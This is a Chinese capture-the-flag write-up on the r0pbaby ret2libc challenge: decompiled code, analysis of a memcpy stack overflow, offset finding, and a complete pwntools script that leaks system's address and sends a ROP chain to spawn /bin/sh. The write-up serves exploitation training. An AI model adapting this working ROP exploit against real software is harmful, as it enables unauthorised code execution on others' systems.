ret2libc即控制程序去执行libc库中的函数,通常是返回至某个函数的 plt 处或者某个函数的具体位置 (即某个函数对应的 got 表项的内容)
有以下三种情况
IDA后反汇编
1.dlopen将指定的动态库以特定的方式装载到当前进程实体,并返回一个可操作的句柄,用以后续获取函数地址等操作;
2.dlsym从指定的(由dlopen的返回值指定)库中获得指定的函数(第二个参数为函数名);
3.dlclose可将关闭卸载动态库;注意,实际是减掉一个对动态库的引用(ref),仅当减到0时才会触发卸载动态库的操作;
4.dlerror返回一个字符串用以描述错误;
通常的三段式就是:先打开(dlopen),然后获得需要的函数(dlsym),然后调用函数,最后关闭(dlclose)
C 库函数 void (*signal(int sig, void (*func)(int)))(int) 设置一个函数来处理信号,即带有 sig 参数的信号处理程序。当发生信号处理时,会调用func对于的函数
__printf_chk(1LL, “libc.so.6: 0x%016llX\n”, handle);
%016llX 大概就是0作为填充,输出16位,形式为unsigned long long 但为十六进制形式
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
void *v4; // rax
unsigned __int64 v5; // r14
int v6; // er13
size_t v7; // r12
int v8; // eax
void *handle; // [rsp+8h] [rbp-448h]
char nptr[1088]; // [rsp+10h] [rbp-440h] BYREF
__int64 savedregs; // [rsp+450h] [rbp+0h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
signal(14, handler);
alarm(0x3Cu);
puts("\nWelcome to an easy Return Oriented Programming challenge...");
puts("Menu:");
handle = dlopen("libc.so.6", 1);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
sub_BF7();
if ( !sub_B9A(nptr, 1024LL) )
{
puts("Bad choice.");
return 0LL;
}
v3 = strtol(nptr, 0LL, 10);
if ( v3 != 2 )
break;
__printf_chk(1LL, "Enter symbol: ");
if ( sub_B9A(nptr, 64LL) )
{
v4 = dlsym(handle, nptr);
__printf_chk(1LL, "Symbol %s: 0x%016llX\n", nptr, v4);
}
else
{
puts("Bad symbol.");
}
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_24;
__printf_chk(1LL, "libc.so.6: 0x%016llX\n", handle);
}
if ( v3 != 3 )
break;
__printf_chk(1LL, "Enter bytes to send (max 1024): ");
sub_B9A(nptr, 1024LL);
v5 = (int)strtol(nptr, 0LL, 10);
if ( v5 - 1 > 0x3FF )
{
puts("Invalid amount.");
}
else
{
if ( v5 )
{
v6 = 0;
v7 = 0LL;
while ( 1 )
{
v8 = _IO_getc(stdin);
if ( v8 == -1 )
break;
nptr[v7] = v8;
v7 = ++v6;
if ( v5 <= v6 )
goto LABEL_22;
}
v7 = v6 + 1;
}
else
{
v7 = 0LL;
}
LABEL_22:
memcpy(&savedregs, nptr, v7);
}
}
if ( v3 == 4 )
break;
LABEL_24:
puts("Bad choice.");
}
dlclose(handle);
puts("Exiting.");
return 0LL;
}
此时函数有三个功能
1.得到libc加载的基地址
2.得到某个libc中函数的地址
3.往栈上输入内容
C 库函数 void *memcpy(void *str1, const void *str2, size_t n) 从存储区 str2 复制 n 个字节到存储区 str1。
此时注意nptr是输入的内容的起始地址,而&savedregs顾名思义并查看IDA就知道其是栈上保存着rbp的位置,v7是输入的长度,此时存在溢出,当memcpy后可能使得复制的值到到返回地址
发现0x00007FFFF7FBB680存储的是libc基地址
但没啥乱用,因为接受到的只有存储libc基地址的地址
一方面可通过IDA查看是8
另一方面也可通过pattern工具查看
创建了一个32长度的字符串将其作为输入,随后发现出现Program received signal SIGSEGV, Segmentation fault.的错误
此时查看pc,发现下条要执行的指令为ret,此时栈顶为0x6e41412441414241,在输入的字符串中偏移为8
计算出system函数与/bin/sh和pop rdi; ret 的gadget的偏移,当得到system地址后即可构造payload
find找字符串
ropsearch找gadget
计算出与system的差值
最后先得到system的地址然后计算出有pop rdi;ret的gadget 的地址和/bin/sh的地址,然后构造ROP链
此时会出现报错SIGSEGV
此时movaps要求rsp为十六字节对齐,所以往栈再加一个8个字节的ret的地址即可
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
r=process("./r0pbaby")
#gdb.attach(r,"b*main")
def get_sys_addr():
r.recvuntil(b"4) Exit")
r.recvuntil(b": ")
r.sendline(b"2")
r.sendlineafter(b"Enter symbol: ",b"system")
r.recvuntil(b"Symbol system: ")
system_addr=r.recvuntil(b"\n")[:-1]
return system_addr
def send_payload(payload):
r.recvuntil(b"4) Exit")
r.recvuntil(b": ")
r.sendline(b"3")
r.sendlineafter(b"Enter bytes to send (max 1024): ",str(len(payload)))
r.sendline(payload)
system_addr=int(get_sys_addr(),16)
ret_addr=system_addr-162871
print("system_addr",hex(system_addr))
binsh_addr=system_addr+1603848
pop_rdi_addr=system_addr-158091
payload=b"a"*8+p64(pop_rdi_addr)+p64(binsh_addr)+p64(ret_addr)+p64(system_addr)
print(len(payload))
send_payload(payload)
r.interactive()